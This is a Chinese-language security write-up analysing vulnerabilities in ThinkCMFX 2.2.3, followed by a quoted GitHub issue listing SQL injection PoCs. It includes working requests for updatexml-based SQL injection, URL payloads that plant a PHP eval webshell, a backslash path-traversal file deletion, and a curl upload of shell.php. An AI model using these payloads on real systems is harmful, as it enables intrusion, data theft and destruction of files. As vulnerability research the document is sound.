ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。
ThinkCMF 有两个版本。 ThinkCMF 基于 ThinkPHP5 开发的,目前还在持续维护;而 ThinkCMFX 基于 ThinkPHP3 开发的,目前官方已经不再维护了。本文将对 ThinkCMFX 最终版 2.2.3 进行漏洞总结分析。 ThinkCMFX2.2.3 下载地址:百度网盘-链接不存在
前台SQL注入
在 ThinkCMFX2.2.3 最终版中,存在一处SQL注入(需要普通用户权限,默认可注册),触发截图如下。
POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
Host: localhost
Connection: close
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+-
我们来具体分析一下这个漏洞。这处漏洞我觉得可能是开发忘记过滤导致的,因为其他代码中对于 id 的获取写法都是类似 I('get.id',0,'intval') 。用 intval 函数进行强转,而这里明显像是忘记了。可控变量 $article['id'] 来自 POST ,未经过滤直接作为 where 条件进行查询,最终导致 SQL注入漏洞 。(下图对应文件位置:application/Portal/Controller/ArticleController.class.php)
如下图所示,框架底层将数据进行了拼接,分析过 ThinkPHP 历史漏洞的人应该对这处代码相当熟悉,不熟悉的话可以参阅 GitHub - Mochazz/ThinkPHP-Vuln: 关于ThinkPHP框架的历史漏洞分析集合 ,这里不再赘述。(下图对应文件位置:simplewind/Core/Library/Think/Db/Driver.class.php)
上面是网络上已经公开的,我们也可以举一反三,找找其他地方。在 application/User/Controller/RegisterController.class.php 文件中,我们可以明显发现一个可控点
我们构造如下 payload ,会发现 SQL 报错了,但是这个报错只是将我们执行的语句爆出来了,并没有执行 updatexml 部分,这是为什么呢?
其实这里是预编译时,参数绑定出错了。如下图,我们可以看到 $this->bind 变量是空的,而 SQL 语句中存在占位符 :0 ,显然这里没有数据用来填充,所以在预编译的时候出错了。
那之前那处为什么能爆出数据呢?因为,之前语句本来就使用了参数绑定,所以 $this->bind 有数据用于参数绑定,这样预编译就不会出错了。
所以我们这里发现的这处 SQL注入 暂时无法利用。除了这里的,还有其他多处存在 SQL注入 ,需要后台权限的 SQL注入 这里就不分析了,具体可以参考 Multiple SQL Injections in ThinkCMF X2.2.2 · Issue #26 · thinkcmf/cmfx · GitHub 。
前台代码执行
在 ThinkCMFX2.2.3 最终版中,存在2处前台代码执行。发送如下数据包后,会在网站根目录生成一个名为 mochazz.php 的 webshell 。(该漏洞仅能在 Windows 下触发)
# 第一处
http://website/ThinkCMFX/index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
# 第二处
http://website/ThinkCMFX/index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
这个漏洞的主要成因是:程序未对模板文件名进行过滤,且接口权限控制不严。在模板名可控、文件内容可控的情况下,我们可以将 webshell 写入缓存文件,然后框架会去包含缓存文件,这样就成功执行了 webshell 。还有一个问题是该漏洞仅能在 Windows 下触发,这个之后再说。下面我们来具体分析这个漏洞。
在下图第68行处,会对模板文件 $templateFile 是否存在进行一个判断,如果不存在就会报错退出。而在此之前第67行,会在模板名前面拼接一个路径,但是我们却可以使用 ../ 字符来控制这个 $templateFile ,使其绕过文件是否存在的判断。(下图对应文件位置:application/Comment/Controller/WidgetController.class.php)
因为我们是直接通过路由访问到这个接口的,所以此时 $templateFile 变量的值为 THEME_PATHComment/../public/index.html ,而程序本意肯定是定义了 THEME_PATH
THEME_PATHComment 这个目录肯定是不存在的,而在 Windows 下允许 不存在目录/../public/index.html , Linux 下是不行的,所以这个漏洞只能在 Windows 下利用。我们继续来看代码。
当缓存文件不存在时,程序会将我们传入的内容写进缓存文件,具体代码如下图所示。(下图对应文件位置:simplewind/Core/Library/Think/Template.class.php)
(下图对应文件位置:simplewind/Core/Library/Think/Storage/Driver/File.class.php)
之后再包含这个缓存文件,最终导致代码执行。
任意文件删除
在用户上传头像处存在任意文件删除漏洞,发送如下数据包后,会删除网站根目录下一个名为 mochazz.txt 的文件。(该漏洞仅能在 Windows 下触发)
POST /ThinkCMFX/index.php?g=User&m=Profile&a=do_avatar& HTTP/1.1
Host: localhost
Cookie: PHPSESSID=bggit7phrb1dl99pcb2lagbmq0;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
imgurl=..\..\..\mochazz.txt
每次上传头像后, ThinkCMFX2.2.3 将新的头像地址写入数据库,并将先前的头像删除。程序这里对符号 / 进行了过滤,就是为了防止路径穿越问题。然而在 Windows 下,却允许 ..\..\头像文件 这种写法,所以也是为什么这个漏洞仅在 Windows 下可利用。(下图对应文件位置:application/User/Controller/ProfileController.class.php)
任意文件上传
在 ThinkCMFX2.2.3 最终版中,存在一处任意文件上传(需要普通用户权限,默认可注册),触发截图如下。
➜ curl -F "file=@/tmp/shell.php" -X "POST" -b 'PHPSESSID=qekmttucmue6vv41kpdjghnkd0;' 'http://127.0.0.1/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile'
这个漏洞的成因,我怀疑又是开发手抖导致的,具体原因见下文分析。
在调用 UeditorController 类的方法之前,会优先调用 _initialize 方法。我们可以看到这个方法是用来判断是否为管理员或已注册的用户,只有注册过的用户才有上传权限。(下图对应文件位置:application/Asset/Controller/UeditorController.class.php)
接着我们可以看到,上传文件时都是调用 _ueditor_upload 方法,我这里选取最后一个 uploadfile 来看。(也可选择 uploadscrawl、uploadvideo 来触发这个漏洞,因为出问题的函数是 _ueditor_upload )
看下图第297行,程序本意想用白名单数组,来验证上传文件的后缀,但是???明显程序员写错了,正确的写法应该是 $allowed_exts=explode(',', $upload_setting[$filetype]['extensions']); ,这就导致了白名单规则失效。这里错误的写法,会导致 $allowed_exts 为 null 。我们跟进下图第314行 \Think\Upload 类的 upload 方法,看看其是如何进行数据校验的。(下图对应文件位置:application/Asset/Controller/UeditorController.class.php)
在 upload 方法里面会调用 check 来检查上传的文件信息,关键看下面的后缀检测,可以看到下面条件直接就返回了 true 。
接着会调用 getSaveName 方法生成文件名,可以看到这里直接以 php 作为后缀(下图对应文件位置:simplewind/Core/Library/Think/Upload.class.php)
获取完文件名,又回到了 upload 方法。这里对后缀进行了白名单校验,但是前面我们说过了,由于程序员手抖导致这里 $ext 为 null ,所以白名单功能也就失效了。然后下面就调用 save 方法将文件写入服务器。
save 方法执行完,回到最初的 _ueditor_upload 方法。程序将文件保存的地址以 json 形式返回了,这样即便文件名随机性很强,我们也能获得 webshell 的地址。
参考
opened 03:28AM - 05 Dec 18 UTC
### 0x01 SQL Injection of function check() & delete() in CommentadminController.… class.php
The vulnerability is located in the `check/delete` method of `/application/Comment/Controller/CommentadminController.class.php`.In line 62, `$_POST['ids']` parameter is passed to the where statement after the join() function, but Instead of using the `in` method of the where clause, it is directly spliced into the SQL statement, resulting in SQL injection.The vulnerability needs manager privilege.
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/1.png)
```php
POC:
http://127.0.0.1/cmfx/index.php?g=Comment&m=commentadmin&a=check&check=1
POST: ids[]=1&ids[]=2 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
```
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/2.png)
### 0x02 SQL Injection of function edit_post() in NavController.class.php
In line 173 of `application/Admin/Controller/NavController.class.php`,`$parentid` is passed directly by `$_POST['parentid']` and then stitched directly into the where statement.The vulnerability needs manager privilege.
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/3.png)
```php
POC:
http://127.0.0.1/cmfx/index.php?g=Admin&m=nav&a=edit_post
POST: parentid=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
```
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/4.png)
### 0x03 SQL Injection of function delete() in SlideController.class.php
In line 93 of `application/Admin/Controller/SlideController.class.php`, `$_POST['ids']` is converted to a string by the `implode` method, and then directly spliced into the in clause of the where statement.The vulnerability needs manager privilege.
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/5.png)
```php
POC
http://127.0.0.1/cmfx/index.php?g=Admin&m=slide&a=delete
POST: ids[]=1&ids[]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)
```
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/6.png)
### 0x04 SQL Injection of function _listorders() in AdminbaseController.class.php
The `_listorders` method is used for sorting and is called in many places. Here is an example of `listorders()` in `application/Admin/Controller/LinkController.class.php`, which is mainly used for sorting of friendship links. We hit the breakpoint with phpstorm+phpstudy+xdebug and track it step by step. The vulnerability needs manager privilege. POC is
```php
http://127.0.0.1/cmfx/index.php?g=Admin&m=Link&a=listorders
POST: listorders[key][0]=exp&listorders[key][1]=0 and updatexml(1, concat(0x7e,user(),0),1)
```
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/7.png)
First enter the `listorders` method of `application/Admin/Controller/LinkController.class.php` line 70, and line 71 calls the parent class's `_listorders()` method.
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/8.png)
Follow the `_listorders()` method of `application/Admin/Controller/LinkController.class.php` in line 166, `$_POST['listorders']` is passed to to $ids as a two-dimensional array.After foreach loop, input payload $data is still a two-dimensional array.
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/9.png)
Following the save() method of `simplewind/Core/Library/Think/Model.class.php` line 396, which is the core function of thinkphp. Since $data is not empty, many of the previous judgments are skipped to line 452. $data and $options are passed to the `update` method, and $data is still a two-dimensional array.
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/10.png)
Following the update() method of `simplewind/Core/Library/Think/Db/Driver.class.php` in line 893. $data is spliced into $sql after the `parseSet` method. Following the definition `parseSet` method, after $data passes the foreach loop, $val becomes a one-dimensional array, and $key is the key value. When $val is an array and the first element of the array is `exp`, $val[1] will be directly spliced with $key to $set, and array $set is spliced to the SET statement after the methmod `implode`.
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/12.png)
Return to the update method, the SET clause is spliced into $sql, and the final executed sql statement is
```mysql
UPDATE `cmf_links` SET `listorder`=0 and updatexml(1, concat(0x7e,user(),0),1) WHERE `link_id` = 'key'
```
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/13.png)
### 0x05 SQL Injection of method edit_post in ArticleController.class.php
ThinkCMF X2.2.2 is based on ThinkPHP 3.2.3.There is a `bind` injection before the ThinkPHP 3.x version, and this vulnerability is a typical case of ThinkPHP3.x injection. The vulnerability only needs normal user previlige. The POC is as follows:
```php
http://127.0.0.1/cmfx/index.php?g=portal&m=article&a=edit_post
POST: post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)-- -
```
![](https://wps2015-1252123187.cos.ap-chengdu.myqcloud.com/24.png)
https://xz.aliyun.com/t/3529